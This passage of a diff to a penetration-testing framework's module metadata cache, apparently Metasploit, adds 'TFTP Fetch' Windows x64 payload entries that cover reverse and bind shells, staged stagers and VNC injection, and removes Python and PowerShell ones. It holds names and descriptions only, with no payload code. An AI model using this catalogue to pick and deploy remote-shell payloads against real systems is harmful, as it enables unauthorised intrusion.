false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/powershell_bind_tcp": { - "name": "Windows Interactive Powershell Session, Bind TCP", - "fullname": "payload/cmd/windows/powershell_bind_tcp", + "payload_cmd/windows/tftp/x64/powershell_reverse_tcp_ssl": { + "name": "TFTP Fetch", + "fullname": "payload/cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", "aliases": [ ], @@ -190224,10 +210473,12 @@ "disclosure_date": null, "type": "payload", "author": [ + "Brendan Watters", "Ben Turner", - "Dave Hardy" + "Dave Hardy", + "sf " ], - "description": "Interacts with a powershell session on an established socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server", "references": [ "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], @@ -190237,21 +210488,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/powershell_reverse_tcp_ssl", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/powershell_reverse_tcp_ssl", + "staged": false }, - "payload_cmd/windows/powershell_reverse_tcp": { - "name": "Windows Interactive Powershell Session, Reverse TCP", - "fullname": "payload/cmd/windows/powershell_reverse_tcp", + "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp", "aliases": [ ], @@ -190259,12 +210514,12 @@ "disclosure_date": null, "type": "payload", "author": [ - "Ben Turner", - "Dave Hardy" + "Brendan Watters", + "sf " ], - "description": "Interacts with a powershell session on an established socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -190272,21 +210527,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell_reverse_tcp_ssl": { - "name": "Windows Interactive Powershell Session, Reverse TCP SSL", - "fullname": "payload/cmd/windows/powershell_reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -190294,12 +210555,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Ben Turner", - "Dave Hardy" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Interacts with a powershell session on an established SSL socket connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" + ], "platform": "Windows", "arch": "cmd", @@ -190307,21 +210569,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", - "path": "/modules/payloads/singles/cmd/windows/powershell_reverse_tcp_ssl.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell_reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/shell/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/python/meterpreter/bind_tcp": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp", + "payload_cmd/windows/tftp/x64/shell/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_named_pipe", "aliases": [ ], @@ -190329,9 +210597,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "UserExistsError" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", "references": [ ], @@ -190341,21 +210611,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/bind_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/python/meterpreter/bind_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/python/meterpreter/bind_tcp_uuid", + "payload_cmd/windows/tftp/x64/shell/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp", "aliases": [ ], @@ -190363,10 +210639,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "OJ Reeves" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nListen for a connection with UUID Support", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", "references": [ ], @@ -190376,21 +210652,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/python/meterpreter/reverse_http": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_http", + "payload_cmd/windows/tftp/x64/shell/bind_tcp_rc4": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_rc4", "aliases": [ ], @@ -190398,9 +210680,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ ], @@ -190410,21 +210698,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_http", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/python/meterpreter/reverse_https": { - "name": "Python Exec, Python Meterpreter, Python Reverse HTTPS Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_https", + "payload_cmd/windows/tftp/x64/shell/bind_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/shell/bind_tcp_uuid", "aliases": [ ], @@ -190432,9 +210726,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nTunnel communication over HTTP using SSL", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -190444,21 +210740,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_https", + "ref_name": "cmd/windows/tftp/x64/shell/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/bind_tcp_uuid" }, - "payload_cmd/windows/python/meterpreter/reverse_tcp": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp", "aliases": [ ], @@ -190466,9 +210768,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -190478,21 +210781,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp" }, - "payload_cmd/windows/python/meterpreter/reverse_tcp_ssl": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_ssl", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp_rc4": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_rc4", "aliases": [ ], @@ -190500,11 +210809,15 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "Ben Campbell ", + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nReverse Python connect back stager using SSL", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", "references": [ ], @@ -190514,21 +210827,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_ssl", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, - "payload_cmd/windows/python/meterpreter/reverse_tcp_uuid": { - "name": "Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/python/meterpreter/reverse_tcp_uuid", + "payload_cmd/windows/tftp/x64/shell/reverse_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/shell/reverse_tcp_uuid", "aliases": [ ], @@ -190536,10 +210855,11 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", + "Brendan Watters", + "sf ", "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nRun a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+).\n\nConnect back to the attacker with UUID Support", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -190549,21 +210869,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/tftp/x64/shell/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/shell", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, - "payload_cmd/windows/python/meterpreter_bind_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_bind_tcp", + "payload_cmd/windows/tftp/x64/shell_bind_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/shell_bind_tcp", "aliases": [ ], @@ -190571,9 +210897,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect to the victim and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection and spawn a command shell (Windows x64)", "references": [ ], @@ -190583,21 +210910,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/shell_bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell_bind_tcp", + "staged": false }, - "payload_cmd/windows/python/meterpreter_reverse_http": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_http", + "payload_cmd/windows/tftp/x64/shell_reverse_tcp": { + "name": "TFTP Fetch, Windows x64 Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/windows/tftp/x64/shell_reverse_tcp", "aliases": [ ], @@ -190605,9 +210936,10 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to attacker and spawn a command shell (Windows x64)", "references": [ ], @@ -190617,21 +210949,25 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_http", + "ref_name": "cmd/windows/tftp/x64/shell_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/shell_reverse_tcp", + "staged": false }, - "payload_cmd/windows/python/meterpreter_reverse_https": { - "name": "Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_https", + "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -190639,11 +210975,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190651,21 +210989,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_https", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, - "payload_cmd/windows/python/meterpreter_reverse_tcp": { - "name": "Python Exec, Python Meterpreter Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/python/meterpreter_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid": { + "name": "TFTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -190673,11 +211017,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre" + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nConnect back to the attacker and spawn a Meterpreter shell", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190685,21 +211032,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/meterpreter_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/python/pingback_bind_tcp": { - "name": "Python Exec, Python Pingback, Bind TCP (via python)", - "fullname": "payload/cmd/windows/python/pingback_bind_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_named_pipe": { + "name": "TFTP Fetch, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_named_pipe", "aliases": [ ], @@ -190707,12 +211060,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "sf ", + "UserExistsError" ], - "description": "Execute a Python payload from a command.\n\nListens for a connection from the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a pipe connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190720,21 +211075,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/pingback_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_named_pipe" }, - "payload_cmd/windows/python/pingback_reverse_tcp": { - "name": "Python Exec, Python Pingback, Reverse TCP (via python)", - "fullname": "payload/cmd/windows/python/pingback_reverse_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp": { + "name": "TFTP Fetch, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp", "aliases": [ ], @@ -190742,12 +211103,13 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "asoto-r7" + "Brendan Watters", + "sf " ], - "description": "Execute a Python payload from a command.\n\nConnects back to the attacker, sends a UUID, then terminates", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nListen for a connection (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190755,21 +211117,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/pingback_reverse_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp" }, - "payload_cmd/windows/python/shell_bind_tcp": { - "name": "Python Exec, Command Shell, Bind TCP (via python)", - "fullname": "payload/cmd/windows/python/shell_bind_tcp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_rc4": { + "name": "TFTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", "aliases": [ ], @@ -190777,12 +211145,18 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "mumbai" + "Brendan Watters", + "sf ", + "hdm ", + "skape ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.4-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a tftp server.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -190790,21 +211164,27 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-01-20 14:53:59 +0000", - "path": "/modules/payloads/adapters/cmd/windows/python.rb", + "mod_time": "2023-03-15 19:19:19 +0000", + "path": "/modules/payloads/adapters/cmd/windows/tftp/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/python/shell_bind_tcp", + "ref_name": "cmd/windows/tftp/x64/vncinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/tftp/x64", + "adapted_refname": "windows/x64/vncinject/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/x64/vncinject", + "stager_refname": "windows/x64/bind_tcp_rc4" }, - "payload_cmd/windows/python/shell_reverse_sctp": { - "name": "Python Exec, Command Shell, Reverse SCTP (via python)", - "fullname": "payload/cmd/windows/python/shell_reverse_sctp", + "payload_cmd/windows/tftp/x64/vncinject/bind_tcp_uuid": { + "name": "TFTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/tftp/x64/vncinject/bind_tcp_uuid", "aliases": [ ], @@ -190812,12 +211192,14 @@ "disclosure_date": null, "type": "payload", "author": [ - "Spencer McIntyre", - "RageLtMan " + "Brendan Watters", + "sf ", + "OJ Reeves" ], - "description": "Execute a Python payload from a command.\n\nCreates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.", + "description": "Fetch and Execute an x64 payload from a 